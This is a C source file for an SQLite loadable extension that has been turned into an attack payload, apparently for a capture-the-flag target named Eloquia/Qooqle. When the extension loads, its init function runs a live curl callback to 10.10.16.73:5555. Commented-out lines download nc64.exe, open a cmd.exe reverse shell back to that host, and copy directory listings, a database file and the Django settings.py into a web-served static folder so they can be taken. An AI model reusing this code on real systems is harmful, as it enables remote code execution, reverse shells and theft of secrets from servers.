/* Add your header comment here */ //#include /* Do not use ! */ #include "sqlite3ext.h" #include #include SQLITE_EXTENSION_INIT1 /* Insert your extension code here */ #ifdef _WIN32 __declspec(dllexport) #endif /* TODO: Change the entry point name so that "extension" is replaced by ** text derived from the shared library filename as follows: Copy every ** ASCII alphabetic character from the filename after the last "/" through ** the next following ".", converting each character to lowercase, and ** discarding the first three characters if they are "lib". */ int sqlite3_extension_init( sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi ){ int rc = SQLITE_OK; SQLITE_EXTENSION_INIT2(pApi); /* Insert here calls to ** sqlite3_create_function_v2(), ** sqlite3_create_collation_v2(), ** sqlite3_create_module_v2(), and/or ** sqlite3_vfs_register() ** to register the new features that your extension adds. */ system("curl http://10.10.16.73:5555/pwnd"); // system("mkdir C:\\tmp"); //system("curl http://10.10.16.73:5555/nc64.exe -o C:\\tmp\\nc64.exe"); //system("C:\\tmp\\nc64.exe -e cmd.exe 10.10.16.73 5555 2> static\\assets\\images\\blog\\err.txt"); // system("curl http://10.10.16.73:5555/nc64.exe -o \%\%TEMP\%\\nc64.exe"); //system("dir /a . > static/assets/images/blog/out.txt"); //system("dir /a .. > static/assets/images/blog/out.txt"); // system("dir /a Eloquia > static/assets/images/blog/out1.txt"); //system("dir ..\\Qooqle > static/assets/images/blog/out3.txt"); //system("type ..\\Qooqle\\db.sqlite3 > static/assets/images/blog/out4"); //system("dir /a C:\\ > static/assets/images/blog/out5.txt"); //system("dir /a C:\\Web > static/assets/images/blog/out6.txt"); //system("type ..\\Qooqle\\Qooqle\\settings.py > static/assets/images/blog/out7.txt"); return rc; }